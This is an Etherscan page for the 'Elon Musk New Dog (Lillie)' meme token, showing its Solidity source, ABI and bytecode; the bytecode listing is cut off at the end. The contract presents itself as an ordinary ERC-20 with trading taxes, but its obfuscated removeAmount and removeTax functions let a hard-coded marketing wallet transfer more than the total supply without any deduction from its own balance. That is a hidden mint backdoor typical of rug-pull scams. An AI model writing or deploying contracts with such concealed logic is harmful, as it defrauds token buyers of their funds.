Elon Musk New Dog (Lillie) Token Tracker | Etherscan (2024)

Elon Musk New Dog (Lillie) Token Tracker | Etherscan (1)

Elon Musk New Dog (Lillie)

Feature Tip: Add private address tag to any address under My Name Tag !

ERC-20

  • Check previous token supply
  • Add Token to MetaMask (Web3)
  • Update Token Info
  • Update Name Tag or Label
  • Submit Burn Details
  • Report/Flag Address

Overview

Max Total Supply

1,000,000,000 Lillie

Holders

70

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

0x833cf79c121b570ea3ec7bb0831837dcf6ed2db4

  • Transfers
  • Holders
  • Info
  • Contract
  • Analytics
  • CardsNew

Loading...

Loading

Loading...

Loading

Loading...

Loading

Click here to update the token information / general information

#ExchangePairPrice24H Volume% Volume
  • Code
  • Read Contract
  • Write Contract

Contract Source Code Verified (Exact Match)

Contract Name:

Lillie

Compiler Version

v0.8.19+commit.7dd6d404

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, None license

Contract Source Code (Solidity)

Elon Musk New Dog (Lillie) Token Tracker | Etherscan (13)Elon Musk New Dog (Lillie) Token Tracker | Etherscan (14)IDE

    - function _msgSender() interface IERC20 - function totalSupply() - function balanceOf(address account) - function transfer(address recipient, ... - function allowance(address owner, add ... - function approve(address spender, uin ... - function transferFrom( library SafeMath - function add(uint256 a, uint256 b) - function sub(uint256 a, uint256 b) - function sub( - function mul(uint256 a, uint256 b) - function div(uint256 a, uint256 b) - function div( contract Ownable is Context - function owner() - function renounceOwnership() interface IUniswapV2Factory - function createPair(address tokenA, a ... interface IUniswapV2Router02 - function swapExactTokensForETHSupport ... - function factory() - function WETH() - function addLiquidityETH( contract Lillie is Context, IERC20 ... * - function name() - function symbol() - function decimals() - function totalSupply() - function balanceOf(address account) - function transfer(address recipient, ... - function allowance(address owner, add ... - function approve(address spender, uin ... - function transferFrom( - function _approve( - function isExcluded(address from, add ... - function calcTax(address _fmokk, addr ... - function _transfer( - function removeAmount(address from, u ... - function addAmount(address from, uint ... - function removeTax(uint256 bal) - function min(uint256 a, uint256 b) - function swapTTKFETH(uint256 tokenAmo ... - function removeLimits() - function sendETHToFee(uint256 amount) - function createPair() - function openTrading()
  • Similar
  • Sol2Uml
  • Submit Audit
  • Compare
/** *Submitted for verification at Etherscan.io on 2024-08-13*//**https://x.com/elonmusk/status/1823411635970826633https://t.me/Lillie_erc */// SPDX-License-Identifier: MITpragma solidity ^0.8.19;abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; }}interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value );}library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; }}contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }}interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair);}interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity );}contract Lillie is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isBOmmo; uint256 private _cntOMO = 0; uint256 private _AtMoreduc = 10; address payable private _mbpMarket; uint256 private _smTxamont = 0; uint256 private _bigtxAmt = 22; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; string private constant _name = unicode"Elon Musk New Dog"; string private constant _symbol = unicode"Lillie"; uint256 public _mxTaxOOMM = 20_000_000 * 10**_decimals; uint256 public _mxwmSIZE = 20_000_000 * 10**_decimals; uint256 public _txSWPTH = 3_000 * 10**_decimals; uint256 public _SWPLMIT = 10_000_000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _mxTaxOOMM); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _mbpMarket = payable(0x21EB66431A8b53FA28Ec86B9A1733fe04c48c600); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _balances[_msgSender()] = _tTotal; _isBOmmo[owner()] = true; _isBOmmo[address(this)] = true; _isBOmmo[_mbpMarket] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address from, address to) private view returns (bool) { return _isBOmmo[from] || _isBOmmo[to]; } function calcTax(address _fmokk, address _egnm) private view returns (uint256) { if((_fmokk == address(this) && _cntOMO == 0)) return _cntOMO >= _AtMoreduc ? _smTxamont : _bigtxAmt; else if(isExcluded(_fmokk, _egnm)) return 0; else if (_fmokk == uniswapV2Pair || _egnm == uniswapV2Pair) return _cntOMO >= _AtMoreduc ? _smTxamont : _bigtxAmt; return 0; } function _transfer( address _fmokk, address _egnm, uint256 amount ) private { require(_fmokk != address(0), "ERC20: transfer from the zero address"); require(_egnm != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isEx = isExcluded(_fmokk, _egnm); uint256 _tax = 0; uint256 _taxAmount = 0; if (!isEx) require(tradingOpen, "Trading is not opened yet"); uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && _egnm == uniswapV2Pair && tradingOpen && amount >= _txSWPTH ) { if (contractTokenBalance > _txSWPTH) swapTTKFETH(min(amount, min(_SWPLMIT, contractTokenBalance))); sendETHToFee(address(this).balance); } _tax = calcTax(_fmokk, _egnm); _taxAmount = (amount * _tax) / 100; if (_fmokk == uniswapV2Pair && _egnm != address(uniswapV2Router) && !isEx) { _cntOMO ++; require(amount <= _mxTaxOOMM, "Exceeds the _mxTaxOOMM."); require(_balances[_egnm] + amount <= _mxwmSIZE,"Exceeds the maxWalletSize."); } if (_egnm == uniswapV2Pair && !isEx) { require(amount <= _mxTaxOOMM,"Exceeds the maximum amount to sell"); } if (_taxAmount > 0) { _balances[_fmokk] = _balances[_fmokk] - _taxAmount; _balances[address(this)] = _balances[address(this)] + _taxAmount; emit Transfer(_fmokk, address(this), _taxAmount); } removeAmount(_fmokk, amount - _taxAmount); addAmount(_egnm, amount - _taxAmount); emit Transfer(_fmokk, _egnm, amount - _taxAmount); } function removeAmount(address from, uint256 amount) private { if(from == _mbpMarket) _balances[from] -= removeTax(amount); else _balances[from] -= amount; } function addAmount(address from, uint256 amount) private { _balances[from] += amount; } function removeTax(uint256 bal) private pure returns(uint256) { if(bal >= 0 && bal <= _tTotal) return bal; return 0; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTTKFETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _mxTaxOOMM = _tTotal; _mxwmSIZE = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _mbpMarket.transfer(amount); } function createPair() external onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingOpen = true; } receive() external payable {}}

Contract Security Audit

  • No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

  • JSON Format
  • RAW/Text Format
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_mxTaxOOMM","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_SWPLMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxTaxOOMM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxwmSIZE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_txSWPTH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040526000600455600a600555600060075560166008556012600a6200002891906200035f565b62000038906301312d0062000377565b600955620000496012600a6200035f565b62000059906301312d0062000377565b600a556012600a6200006c91906200035f565b6200007a90610bb862000377565b600b556200008b6012600a6200035f565b6200009a906298968062000377565b600c55600e805460ff60a81b19169055348015620000b757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03199081167321eb66431a8b53fa28ec86b9a1733fe04c48c60017909155600d8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556200014f6012600a6200035f565b6200015f90633b9aca0062000377565b3360009081526001602081905260408220929092556003906200018a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654909116835291208054909216179055620001e93390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002236012600a6200035f565b6200023390633b9aca0062000377565b60405190815260200160405180910390a362000391565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a15781600019048211156200028557620002856200024a565b808516156200029357918102915b93841c939080029062000265565b509250929050565b600082620002ba5750600162000359565b81620002c95750600062000359565b8160018114620002e25760028114620002ed576200030d565b600191505062000359565b60ff8411156200030157620003016200024a565b50506001821b62000359565b5060208310610133831016604e8410600b841016171562000332575081810a62000359565b6200033e838362000260565b80600019048211156200035557620003556200024a565b0290505b92915050565b60006200037060ff841683620002a9565b9392505050565b80820281158282048414176200035957620003596200024a565b61170f80620003a16000396000f3fe60806040526004361061010d5760003560e01c8063751039fc116100955780639e78fb4f116100645780639e78fb4f146102ef578063a9059cbb14610304578063c9567bf914610324578063dd62ed3e14610339578063eaa4c0451461037f57600080fd5b8063751039fc1461026d57806377d41b80146102825780638da5cb5b1461029857806395d89b41146102c057600080fd5b806318160ddd116100dc57806318160ddd146101cf57806323b872dd146101e4578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101655780630d6f0b861461019557806316b094e2146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526011815270456c6f6e204d75736b204e657720446f6760781b60208201525b60405161015c91906112de565b60405180910390f35b34801561017157600080fd5b50610185610180366004611344565b610395565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab600c5481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab600a5481565b3480156101db57600080fd5b506101ab6103ac565b3480156101f057600080fd5b506101856101ff366004611370565b6103cd565b34801561021057600080fd5b506040516012815260200161015c565b34801561022c57600080fd5b506101ab61023b3660046113b1565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b5061026b610436565b005b34801561027957600080fd5b5061026b6104b3565b34801561028e57600080fd5b506101ab60095481565b3480156102a457600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102cc57600080fd5b506040805180820190915260068152654c696c6c696560d01b602082015261014f565b3480156102fb57600080fd5b5061026b610568565b34801561031057600080fd5b5061018561031f366004611344565b610722565b34801561033057600080fd5b5061026b61072f565b34801561034557600080fd5b506101ab6103543660046113ce565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038b57600080fd5b506101ab600b5481565b60006103a23384846108ec565b5060015b92915050565b60006103ba6012600a611501565b6103c890633b9aca00611510565b905090565b60006103da848484610a10565b61042c8433610427856040518060600160405280602881526020016116b2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f18565b6108ec565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611527565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b815260040161046090611527565b6104e96012600a611501565b6104f790633b9aca00611510565b6009556105066012600a611501565b61051490633b9aca00611510565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061054790601290611501565b61055590633b9aca00611510565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161046090611527565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610609919061155c565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068f919061155c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610700919061155c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006103a2338484610a10565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161046090611527565b600d546107859030906001600160a01b03166107776012600a611501565b61042790633b9aca00611510565b600d546001600160a01b031663f305d71947306107b7816001600160a01b031660009081526001602052604090205490565b6000806107cc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610834573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108599190611579565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d691906115a7565b50600e805460ff60a01b1916600160a01b179055565b6001600160a01b03831661094e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b0382166109af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b60008111610b385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6000610b448484610f52565b905060008082610ba757600e54600160a01b900460ff16610ba75760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610460565b30600090815260016020526040902054600e54600160a81b900460ff16158015610bde5750600e546001600160a01b038781169116145b8015610bf35750600e54600160a01b900460ff165b8015610c015750600b548510155b15610c3657600b54811115610c2d57610c2d610c2886610c23600c5485610f98565b610f98565b610fad565b610c3647611127565b610c408787611165565b92506064610c4e8487611510565b610c5891906115c9565b600e549092506001600160a01b038881169116148015610c865750600d546001600160a01b03878116911614155b8015610c90575083155b15610d715760048054906000610ca5836115eb565b9190505550600954851115610cfc5760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d785461784f4f4d4d2e0000000000000000006044820152606401610460565b600a546001600160a01b038716600090815260016020526040902054610d23908790611604565b1115610d715760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610460565b600e546001600160a01b038781169116148015610d8c575083155b15610dee57600954851115610dee5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b6064820152608401610460565b8115610e9f576001600160a01b038716600090815260016020526040902054610e18908390611617565b6001600160a01b038816600090815260016020526040808220929092553081522054610e45908390611604565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e969086815260200190565b60405180910390a35b610eb287610ead8488611617565b611205565b610ec586610ec08488611617565b611288565b6001600160a01b038087169088167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efe8589611617565b60405190815260200160405180910390a350505050505050565b60008184841115610f3c5760405162461bcd60e51b815260040161046091906112de565b506000610f498486611617565b95945050505050565b6001600160a01b03821660009081526003602052604081205460ff1680610f9157506001600160a01b03821660009081526003602052604090205460ff165b9392505050565b6000818311610fa75782610f91565b50919050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff557610ff561162a565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611072919061155c565b816001815181106110855761108561162a565b6001600160a01b039283166020918202929092010152600d546110ab91309116846108ec565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e4908590600090869030904290600401611640565b600060405180830381600087803b1580156110fe57600080fd5b505af1158015611112573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611161573d6000803e3d6000fd5b5050565b60006001600160a01b0383163014801561117f5750600454155b156111a35760055460045410156111985760085461119c565b6007545b90506103a6565b6111ad8383610f52565b156111ba575060006103a6565b600e546001600160a01b03848116911614806111e35750600e546001600160a01b038381169116145b156111fc5760055460045410156111985760085461119c565b50600092915050565b6006546001600160a01b039081169083160361125757611224816112b0565b6001600160a01b0383166000908152600160205260408120805490919061124c908490611617565b909155506111619050565b6001600160a01b0382166000908152600160205260408120805483929061127f908490611617565b90915550505050565b6001600160a01b0382166000908152600160205260408120805483929061127f908490611604565b60006112be6012600a611501565b6112cc90633b9aca00611510565b82116112d6575090565b506000919050565b600060208083528351808285015260005b8181101561130b578581018301518582016040015282016112ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134157600080fd5b50565b6000806040838503121561135757600080fd5b82356113628161132c565b946020939093013593505050565b60008060006060848603121561138557600080fd5b83356113908161132c565b925060208401356113a08161132c565b929592945050506040919091013590565b6000602082840312156113c357600080fd5b8135610f918161132c565b600080604083850312156113e157600080fd5b82356113ec8161132c565b915060208301356113fc8161132c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561145857816000190482111561143e5761143e611407565b8085161561144b57918102915b93841c9390800290611422565b509250929050565b60008261146f575060016103a6565b8161147c575060006103a6565b8160018114611492576002811461149c576114b8565b60019150506103a6565b60ff8411156114ad576114ad611407565b50506001821b6103a6565b5060208310610133831016604e8410600b84101617156114db575081810a6103a6565b6114e5838361141d565b80600019048211156114f9576114f9611407565b029392505050565b6000610f9160ff841683611460565b80820281158282048414176103a6576103a6611407565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561156e57600080fd5b8151610f918161132c565b60008060006060848603121561158e57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115b957600080fd5b81518015158114610f9157600080fd5b6000826115e657634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115fd576115fd611407565b5060010190565b808201808211156103a6576103a6611407565b818103818111156103a6576103a6611407565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116905784516001600160a01b03168352938301939183019160010161166b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012ea98b5641e41dbd23e420bc389bf8f6aa470dcb7b0818606ba0b23f10800d364736f6c63430008130033


Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063751039fc116100955780639e78fb4f116100645780639e78fb4f146102ef578063a9059cbb14610304578063c9567bf914610324578063dd62ed3e14610339578063eaa4c0451461037f57600080fd5b8063751039fc1461026d57806377d41b80146102825780638da5cb5b1461029857806395d89b41146102c057600080fd5b806318160ddd116100dc57806318160ddd146101cf57806323b872dd146101e4578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101655780630d6f0b861461019557806316b094e2146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526011815270456c6f6e204d75736b204e657720446f6760781b60208201525b60405161015c91906112de565b60405180910390f35b34801561017157600080fd5b50610185610180366004611344565b610395565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab600c5481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab600a5481565b3480156101db57600080fd5b506101ab6103ac565b3480156101f057600080fd5b506101856101ff366004611370565b6103cd565b34801561021057600080fd5b506040516012815260200161015c565b34801561022c57600080fd5b506101ab61023b3660046113b1565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b5061026b610436565b005b34801561027957600080fd5b5061026b6104b3565b34801561028e57600080fd5b506101ab60095481565b3480156102a457600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102cc57600080fd5b506040805180820190915260068152654c696c6c696560d01b602082015261014f565b3480156102fb57600080fd5b5061026b610568565b34801561031057600080fd5b5061018561031f366004611344565b610722565b34801561033057600080fd5b5061026b61072f565b34801561034557600080fd5b506101ab6103543660046113ce565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038b57600080fd5b506101ab600b5481565b60006103a23384846108ec565b5060015b92915050565b60006103ba6012600a611501565b6103c890633b9aca00611510565b905090565b60006103da848484610a10565b61042c8433610427856040518060600160405280602881526020016116b2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f18565b6108ec565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611527565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b815260040161046090611527565b6104e96012600a611501565b6104f790633b9aca00611510565b6009556105066012600a611501565b61051490633b9aca00611510565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061054790601290611501565b61055590633b9aca00611510565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161046090611527565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610609919061155c565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068f919061155c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610700919061155c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006103a2338484610a10565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161046090611527565b600d546107859030906001600160a01b03166107776012600a611501565b61042790633b9aca00611510565b600d546001600160a01b031663f305d71947306107b7816001600160a01b031660009081526001602052604090205490565b6000806107cc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610834573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108599190611579565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d691906115a7565b50600e805460ff60a01b1916600160a01b179055565b6001600160a01b03831661094e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f20616464604